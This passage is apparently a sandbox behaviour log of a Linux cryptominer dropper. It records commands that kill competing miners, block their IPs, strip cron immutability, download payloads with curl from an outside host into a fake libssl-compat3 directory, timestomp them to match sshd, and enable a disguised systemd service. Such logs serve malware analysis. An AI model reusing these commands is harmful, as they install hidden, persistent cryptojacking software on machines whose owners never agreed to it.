  2⤵
  PID:1670
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1673
- /usr/bin/basename
  basename /proc/9/
  2⤵
  PID:1674
- /bin/cat
  cat /proc/9//comm
  2⤵
  PID:1676
- /bin/readlink
  readlink /proc/9//exe
  2⤵
  PID:1678
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1680
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1683
- /bin/ls
  ls -l /proc/9//fd
  2⤵
  PID:1682
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1685
- /usr/bin/basename
  basename /proc/96/
  2⤵
  PID:1686
- /bin/cat
  cat /proc/96//comm
  2⤵
  PID:1688
- /bin/readlink
  readlink /proc/96//exe
  2⤵
  PID:1690
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1692
- /bin/ls
  ls -l /proc/96//fd
  2⤵
  PID:1694
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1695
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1697
- /usr/bin/find
  find /root -maxdepth 4 -type d -name .claude
  2⤵
  PID:1698
- /usr/bin/find
  find /home -maxdepth 4 -type d -name .claude
  2⤵
  PID:1700
- /usr/bin/find
  find /tmp -maxdepth 4 -type d -name .claude
  2⤵
  PID:1702
- /usr/bin/find
  find /var/tmp -maxdepth 4 -type d -name .claude
  2⤵
  PID:1704
- /usr/bin/find
  find /dev/shm -maxdepth 4 -type d -name .claude
  2⤵
  PID:1706
- /usr/bin/find
  find /opt -maxdepth 4 -type d -name .claude
  2⤵
  PID:1708
- /usr/bin/find
  find /usr/bin -maxdepth 4 -type d -name .claude
  2⤵
  PID:1710
- /usr/bin/find
  find /run -maxdepth 4 -type d -name .claude
  2⤵
  PID:1712
- /usr/bin/find
  find /var/run -maxdepth 4 -type d -name .claude
  2⤵
  PID:1714
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:1716
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:1717
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:1718
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1719
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|unicorn|\\.claude/CRON|base64 -d.*bash|DL_FILE.*6556|\\.claude/jobs" /tmp/.okcrn.651
  2⤵
  PID:1720
- /bin/rm
  rm -f /tmp/.okcrn.651
  2⤵
  PID:1721
- /usr/bin/id
  id -u
  2⤵
  PID:1722
- /bin/grep
  grep -qF apt-update.com /etc/hosts
  2⤵
  PID:1723
- /bin/grep
  grep -qF www.apt-update.com /etc/hosts
  2⤵
  PID:1724
- /bin/grep
  grep -qF joker.aec944b68370194a50.link /etc/hosts
  2⤵
  PID:1725
- /bin/grep
  grep -qF 95.85.237.226 /etc/hosts
  2⤵
  PID:1726
- /bin/grep
  grep -qF 193.41.68.194 /etc/hosts
  2⤵
  PID:1727
- /bin/grep
  grep -qF 95.85.237.149 /etc/hosts
  2⤵
  PID:1728
- /bin/grep
  grep -qF 2.26.99.68 /etc/hosts
  2⤵
  PID:1729
- /bin/grep
  grep -qF 210.195.19.39 /etc/hosts
  2⤵
  PID:1730
- /usr/bin/id
  id -u
  2⤵
  PID:1731
- /sbin/iptables
  iptables -C OUTPUT -d 95.85.237.226 -j DROP
  2⤵
  PID:1732
- /sbin/iptables
  iptables -I OUTPUT -d 95.85.237.226 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1735
- /sbin/iptables
  iptables -C OUTPUT -d 193.41.68.194 -j DROP
  2⤵
  PID:1736
- /sbin/iptables
  iptables -I OUTPUT -d 193.41.68.194 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1737
- /sbin/iptables
  iptables -C OUTPUT -d 95.85.237.149 -j DROP
  2⤵
  PID:1738
- /sbin/iptables
  iptables -I OUTPUT -d 95.85.237.149 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1739
- /sbin/iptables
  iptables -C OUTPUT -d 2.26.99.68 -j DROP
  2⤵
  PID:1740
- /sbin/iptables
  iptables -I OUTPUT -d 2.26.99.68 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1741
- /sbin/iptables
  iptables -C OUTPUT -d 210.195.19.39 -j DROP
  2⤵
  PID:1742
- /sbin/iptables
  iptables -I OUTPUT -d 210.195.19.39 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1743
- /sbin/iptables
  iptables -C OUTPUT -d 104.21.46.16 -j DROP
  2⤵
  PID:1744
- /sbin/iptables
  iptables -I OUTPUT -d 104.21.46.16 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1745
- /sbin/iptables
  iptables -C OUTPUT -d 172.67.222.137 -j DROP
  2⤵
  PID:1746
- /sbin/iptables
  iptables -I OUTPUT -d 172.67.222.137 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1747
- /sbin/iptables
  iptables -C OUTPUT -d 2.27.5.35 -j DROP
  2⤵
  PID:1748
- /sbin/iptables
  iptables -I OUTPUT -d 2.27.5.35 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1749
- /sbin/iptables
  iptables -C OUTPUT -d 31.56.209.189 -j DROP
  2⤵
  PID:1750
- /sbin/iptables
  iptables -I OUTPUT -d 31.56.209.189 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1751
- /sbin/iptables
  iptables -C OUTPUT -p tcp --dport 53535 -j DROP
  2⤵
  PID:1752
- /sbin/iptables
  iptables -I OUTPUT -p tcp --dport 53535 -j DROP
  2⤵
  - Removes the immutable protection flag from a file
  PID:1753
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|unicorn|\\.claude/CRON|\\.claude/jobs" /root/.bashrc
  2⤵
  PID:1756
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|unicorn|\\.claude/CRON|\\.claude/jobs" /root/.profile
  2⤵
  PID:1757
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|unicorn|\\.claude/CRON|\\.claude/jobs" /home/user/.bashrc
  2⤵
  PID:1758
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|unicorn|\\.claude/CRON|\\.claude/jobs" /home/user/.profile
  2⤵
  PID:1759
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1761
- /usr/bin/pgrep
  pgrep -x CRON
  2⤵
  - Reads CPU attributes
  PID:1763
- /usr/bin/pgrep
  pgrep -x jobs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1765
- /usr/bin/pgrep
  pgrep -x pwb
  2⤵
  - Reads CPU attributes
  PID:1767
- /usr/bin/id
  id -u
  2⤵
  PID:1768
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:1769
- /bin/grep
  grep -qE "^....i"
  2⤵
  PID:1771
- /usr/bin/lsattr
  lsattr /etc/hosts
  2⤵
  PID:1770
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1773
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1775
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1777
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1779
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1781
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1783
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1785
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1787
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1789
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1791
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1793
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1795
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1797
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1799
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1801
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1803
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1805
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1807
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1809
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1811
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1813
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1815
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1817
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1819
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1821
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1823
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1825
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1827
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1830
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1832
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1834
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1836
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1838
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1840
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1843
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1845
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1847
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1849
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1851
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1853
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1855
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1857
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1859
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1861
- /bin/cat
  cat
  2⤵
  PID:1862
- /usr/bin/stat
  stat -c "%a" /etc/hosts
  2⤵
  PID:1864
- /bin/cp
  cp /etc/hosts.xmon.651 /etc/hosts
  2⤵
  - Modifies the /etc/hosts DNS resolution file
  PID:1865
- /bin/chmod
  chmod 644 /etc/hosts
  2⤵
  PID:1866
- /bin/rm
  rm -f /etc/hosts.xmon.651
  2⤵
  PID:1867
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:1868
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:1869
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1870
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1870
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1870
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1870
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1870
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1870
- /usr/bin/id
  id -u
  2⤵
  PID:1871
- /usr/bin/id
  id -u
  2⤵
  PID:1872
- /sbin/modprobe
  modprobe msr
  2⤵
  PID:1873
- /usr/bin/apt-cache
  apt-cache show libbpf1
  2⤵
  - Writes file to tmp directory
  PID:1874
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1875
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1876
- /usr/bin/apt-cache
  apt-cache show libelf1t64
  2⤵
  - Writes file to tmp directory
  PID:1877
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1878
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1879
- /usr/bin/timeout
  timeout 90 apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
  2⤵
  - Removes the immutable protection flag from a file
  PID:1880
- - /usr/local/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:1881
- - /usr/local/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:1881
- - /usr/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:1881
- - /usr/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    - Writes file to tmp directory
    - Software Deployment Tools
    PID:1881
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:1882
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:1883
- /bin/mkdir
  mkdir -p /usr/share/doc/libssl-compat3 /var/log/dist-upgrade
  2⤵
  PID:1884
- /usr/bin/curl
  curl --connect-timeout 10 --max-time 15 -sI http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:1885
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.651
  2⤵
  PID:1887
- /usr/bin/curl
  curl --fail --connect-timeout 30 --max-time 300 -o /usr/share/doc/libssl-compat3/ssl-compet.tmp.651 http://fix.unknower.win/ssl-compet
  2⤵
  - Checks CPU configuration
  PID:1888
- /bin/mv
  mv /usr/share/doc/libssl-compat3/ssl-compet.tmp.651 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:1893
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1897
- /usr/bin/wc
  wc -c
  2⤵
  PID:1896
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.651
  2⤵
  PID:1898
- /usr/bin/curl
  curl --fail --connect-timeout 30 --max-time 300 -o /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.651 http://fix.unknower.win/mnmonitor.sh
  2⤵
  - Checks CPU configuration
  PID:1899
- /bin/mv
  mv /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.651 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:1901
- /usr/bin/wc
  wc -c
  2⤵
  PID:1904
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1905
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/config.json.tmp.651
  2⤵
  PID:1906
- /usr/bin/curl
  curl --fail --connect-timeout 30 --max-time 300 -o /usr/share/doc/libssl-compat3/config.json.tmp.651 http://fix.unknower.win/config.json
  2⤵
  - Checks CPU configuration
  PID:1907
- /bin/mv
  mv /usr/share/doc/libssl-compat3/config.json.tmp.651 /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:1909
- /usr/bin/wc
  wc -c
  2⤵
  PID:1912
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1913
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.651
  2⤵
  PID:1914
- /usr/bin/curl
  curl --fail --connect-timeout 30 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.651 http://fix.unknower.win/cpuhide-bpf
  2⤵
  - Checks CPU configuration
  PID:1915
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.651 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:1919
- /usr/bin/wc
  wc -c
  2⤵
  PID:1922
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1923
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide.so.tmp.651
  2⤵
  PID:1924
- /usr/bin/curl
  curl --fail --connect-timeout 30 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide.so.tmp.651 http://fix.unknower.win/cpuhide.so
  2⤵
  - Checks CPU configuration
  PID:1925
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide.so.tmp.651 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:1927
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1931
- /usr/bin/wc
  wc -c
  2⤵
  PID:1930
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  - File and Directory Permissions Modification
  PID:1932
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1933
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  - File and Directory Permissions Modification
  PID:1934
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  - File and Directory Permissions Modification
  PID:1935
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:1936
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:1937
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:1938
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:1939
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:1940
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3
  2⤵
  PID:1941
- /usr/bin/id
  id -u
  2⤵
  PID:1942
- /usr/bin/id
  id -u
  2⤵
  PID:1943
- /usr/bin/id
  id -u
  2⤵
  PID:1944
- /bin/cat
  cat
  2⤵
  PID:1945
- /usr/bin/timeout
  timeout 8 systemctl daemon-reload
  2⤵
  PID:1946
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1947
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1947
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1947
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1947
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1947
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1947
- /usr/bin/timeout
  timeout 5 systemctl enable ssl-compat
  2⤵
  PID:1960
- - /usr/local/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1961
- - /usr/local/bin/systemctl
    systemctl enable ssl-compat
    3⤵
